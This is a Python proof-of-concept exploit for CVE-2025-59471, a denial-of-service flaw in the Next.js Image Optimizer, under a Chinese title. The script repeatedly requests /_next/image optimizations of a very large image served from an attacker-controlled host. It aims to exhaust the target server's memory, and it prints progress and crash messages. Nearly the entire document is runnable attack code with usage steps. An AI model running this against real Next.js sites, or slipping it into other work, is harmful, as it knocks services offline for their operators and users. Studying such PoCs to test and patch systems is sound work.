CVE-2025-59471 Next.js Image Optimizer 拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-59471 PoC - Next.js Image Optimizer DoS via Large External Image This PoC demonstrates how an attacker can trigger OOM conditions by requesting Next.js to optimize an arbitrarily large external image through the /_next/image endpoint. Prerequisites: - Next.js app has remotePatterns configured to allow the attacker's domain - The attacker can host/serve a large image file on an allowed domain Usage: 1. Host a large image file on an allowed domain (e.g., attacker.com/large.jpg) 2. Run this script to send optimization requests """ import requests import sys import time import argparse def generate_large_image_url(base_url, width=800): """Generate the /_next/image optimization URL for a large external image.""" # Replace this with an actual large image URL allowed by remotePatterns large_image_url = "http://attacker-controlled-server/large_image.jpg" params = { "url": large_image_url, "w": str(width), "q": 80 } target = f"{base_url}/_next/image" return target, params def send_optimization_request(base_url, num_requests=5, delay=1): """ Send multiple /_next/image optimization requests to exhaust server memory. """ target, params = generate_large_image_url(base_url) print(f"[*] Target: {target}") print(f"[*] Image URL: {params['url']}") print(f"[*] Sending {num_requests} optimization requests...\n") for i in range(num_requests): try: print(f"[Request {i+1}/{num_requests}] Sending optimization request...") response = requests.get(target, params=params, timeout=30) print(f" Status: {response.status_code}") if response.status_code == 200: print(f" Response size: {len(response.content)} bytes") except requests.exceptions.RequestException as e: print(f" [!] Request failed: {e}") print("[*] Server may have crashed or run out of memory!") return time.sleep(delay) print("\n[+] Attack completed. Check server memory usage.") print("[*] If server memory was exhausted, the Next.js process may have crashed.") if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-59471 PoC") parser.add_argument("--url", default="http://localhost:3000", help="Target Next.js base URL") parser.add_argument("--requests", type=int, default=5, help="Number of requests to send") parser.add_argument("--delay", type=float, default=1.0, help="Delay between requests (seconds)") args = parser.parse_args() send_optimization_request(args.url, args.requests, args.delay)